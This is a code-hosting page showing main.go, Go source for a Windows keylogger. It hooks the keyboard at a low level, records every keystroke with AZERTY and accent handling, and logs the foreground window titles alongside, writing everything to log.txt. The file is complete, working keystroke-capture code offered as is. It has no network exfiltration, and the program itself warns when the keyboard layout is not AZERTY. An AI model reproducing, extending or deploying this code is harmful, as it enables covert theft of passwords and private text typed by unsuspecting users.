-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
334 lines (306 loc) · 6.95 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
package main
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"github.com/AllenDang/w32"
"golang.org/x/sys/windows/registry"
"log"
"strconv"
"time"
"os"
)
var (
user32 = windows.NewLazySystemDLL("user32.dll")
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW")
procGetKeyState = user32.NewProc("GetKeyState")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetWindowTextW = user32.NewProc("GetWindowTextW")
keyboardHook HHOOK
tmpKeylog string
vowelMin string = "aeiou"
vowelMaj string = "AEIOU"
circumMinMin = []rune{'â','ê','î','ô','û'}
circumMinMaj = []rune{'ä','ë','ï','ö','ü'}
circumMajMin = []rune{'Â','Ê','Î','Ô','Û'}
circumMajMaj = []rune{'Ä','Ë','Ï','Ö','Ü'}
writer Writer
)
const (
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 256
//WM_SYSKEYUP = 261
/*WH_KEYBOARD = 2
WM_SYSKEYDOWN = 260
WM_KEYUP = 257
WM_KEYFIRST = 256
WM_KEYLAST = 264
PM_NOREMOVE = 0x000
PM_REMOVE = 0x001
PM_NOYIELD = 0x002
WM_LBUTTONDOWN = 513
WM_RBUTTONDOWN = 516
NULL = 0*/
)
type (
DWORD uint32
WPARAM uintptr
LPARAM uintptr
LRESULT uintptr
HANDLE uintptr
HINSTANCE HANDLE
HHOOK HANDLE
HWND HANDLE
)
type HOOKPROC func(int, WPARAM, LPARAM) LRESULT
type KBDLLHOOKSTRUCT struct {
VkCode DWORD
ScanCode DWORD
Flags DWORD
Time DWORD
DwExtraInfo uintptr
}
type POINT struct {
X, Y int32
}
type MSG struct {
Hwnd HWND
Message uint32
WParam uintptr
LParam uintptr
Time uint32
Pt POINT
}
type Writer struct {
file *os.File
}
func (w Writer) write(s string) {
w.file.WriteString(s)
}
func SetWindowsHookEx(idHook int, lpfn HOOKPROC, hMod HINSTANCE, dwThreadId DWORD) HHOOK {
ret, _, _ := procSetWindowsHookEx.Call(
uintptr(idHook),
uintptr(syscall.NewCallback(lpfn)),
uintptr(hMod),
uintptr(dwThreadId),
)
return HHOOK(ret)
}
func CallNextHookEx(hhk HHOOK, nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
ret, _, _ := procCallNextHookEx.Call(
uintptr(hhk),
uintptr(nCode),
uintptr(wParam),
uintptr(lParam),
)
return LRESULT(ret)
}
func UnhookWindowsHookEx(hhk HHOOK) bool {
ret, _, _ := procUnhookWindowsHookEx.Call(
uintptr(hhk),
)
return ret != 0
}
func GetMessage(msg *MSG, hwnd HWND, msgFilterMin uint32, msgFilterMax uint32) int {
ret, _, _ := procGetMessage.Call(
uintptr(unsafe.Pointer(msg)),
uintptr(hwnd),
uintptr(msgFilterMin),
uintptr(msgFilterMax))
return int(ret)
}
func getForegroundWindow() (hwnd syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetForegroundWindow.Addr(), 0, 0, 0, 0)
if e1 != 0 {
err = error(e1)
return
}
hwnd = syscall.Handle(r0)
return
}
func getWindowText(hwnd syscall.Handle, str *uint16, maxCount int32) (len int32, err error) {
r0, _, e1 := syscall.Syscall(procGetWindowTextW.Addr(), 3, uintptr(hwnd), uintptr(unsafe.Pointer(str)), uintptr(maxCount))
len = int32(r0)
if len == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func windowLogger() {
var tmpTitle string
for {
g, _ := getForegroundWindow()
b := make([]uint16, 200)
_, err := getWindowText(g, &b[0], int32(len(b)))
if err != nil {
}
if syscall.UTF16ToString(b) != "" {
if tmpTitle != syscall.UTF16ToString(b) {
tmpTitle = syscall.UTF16ToString(b)
writer.write(string("\n\n[" + syscall.UTF16ToString(b) + "]\r\n"))
}
}
time.Sleep(1 * time.Millisecond)
}
}
func keylogger() {
var msg MSG
CAPS, _, _ := procGetKeyState.Call(uintptr(w32.VK_CAPITAL))
CAPS = CAPS & 0x000001
var CAPS2 uintptr
var SHIFT uintptr
var precLog string =""
var write bool = false
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)(func(nCode int, wparam WPARAM, lparam LPARAM) LRESULT {
if nCode == 0 && wparam == WM_KEYDOWN {
SHIFT, _, _ = procGetAsyncKeyState.Call(uintptr(w32.VK_LSHIFT))
if SHIFT == 32769 || SHIFT == 32768{
SHIFT=1
}
kbdstruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lparam))
code := byte(kbdstruct.VkCode)
if code == w32.VK_CAPITAL {
if CAPS==1{
CAPS=0
}else{
CAPS=1
}
}
if SHIFT==1{
CAPS2 = 1
}else{
CAPS2 = 0
}
if (CAPS==0 && CAPS2==0) || (CAPS==1 && CAPS2==1 ){
tmpKeylog += keys_low[uint16(code)]
}else {
tmpKeylog += keys_high[uint16(code)]
}
}else if wparam == w32.WM_SYSKEYDOWN {
kbdstruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lparam))
code := byte(kbdstruct.VkCode)
switch code{
case 50:
tmpKeylog += "~"
case 51:
tmpKeylog += "#"
case 52:
tmpKeylog += "{"
case 53:
tmpKeylog += "["
case 54:
tmpKeylog += "|"
case 55:
tmpKeylog += "`"
case 56:
tmpKeylog += "\\"
case 57:
tmpKeylog += "^"
case 48:
tmpKeylog += "@"
case 219:
tmpKeylog += "]"
case 187:
tmpKeylog += "}"
}
}
//fmt.Printf("%s\n", tmpKeylog)
//fmt.Printf("%d\n", code)
if tmpKeylog != "" {
write,tmpKeylog= harmonize(tmpKeylog, &precLog, !((CAPS == 0 && CAPS2 == 0) || (CAPS == 1 && CAPS2 == 1)))
if write {
writer.write(tmpKeylog)
}
precLog = tmpKeylog
tmpKeylog = ""
}
return CallNextHookEx(keyboardHook, nCode, wparam, lparam)
}), 0, 0)
for GetMessage(&msg, 0, 0, 0) != 0 {
time.Sleep(1*time.Millisecond)
}
UnhookWindowsHookEx(keyboardHook)
keyboardHook = 0
}
func harmonize(tmp string, prec *string, caps bool) (bool,string){
shouldWrite := false
if *prec == "^" && tmp == "^"{
tmp="^^"
*prec = ""
}else if *prec == "¨" && tmp == "¨"{
tmp="¨¨"
*prec = ""
}else if *prec == "^" || *prec == "¨"{
shouldWrite = true
if caps {
for i, l := range vowelMaj {
if tmp == string(l) {
if *prec == "^" {
tmp = string(circumMajMin[i])
} else {
tmp = string(circumMajMaj[i])
}
shouldWrite=false
break
}
}
} else {
for i, l := range vowelMin {
if tmp == string(l) {
if *prec == "^" {
tmp = string(circumMinMin[i])
} else {
tmp = string(circumMinMaj[i])
}
shouldWrite=false
break
}
}
}
}
if shouldWrite{
writer.write(*prec)
}
if !(tmp == "^" || tmp == "¨") {
return true,tmp
}
return false,tmp
}
func getKeyboardLayout() uint64{
k, err := registry.OpenKey(registry.CURRENT_USER, `Keyboard Layout\Preload`, registry.QUERY_VALUE)
if err != nil {
log.Fatal(err)
}
defer k.Close()
s, _, err := k.GetStringValue("1")
if err != nil {
log.Fatal(err)
}
result,_ := strconv.ParseUint(s,16,32)
return result
}
func main() {
if getKeyboardLayout()!=0x40c{
fmt.Println("Keyboard layout is not AZERTY, it will not work properly !!! ")
}
file, err := os.Create("log.txt")
if err != nil {
log.Fatal("Cannot create file", err)
}
defer file.Close()
writer.file = file
go windowLogger()
go keylogger()
for {
time.Sleep(1*time.Millisecond)
}
}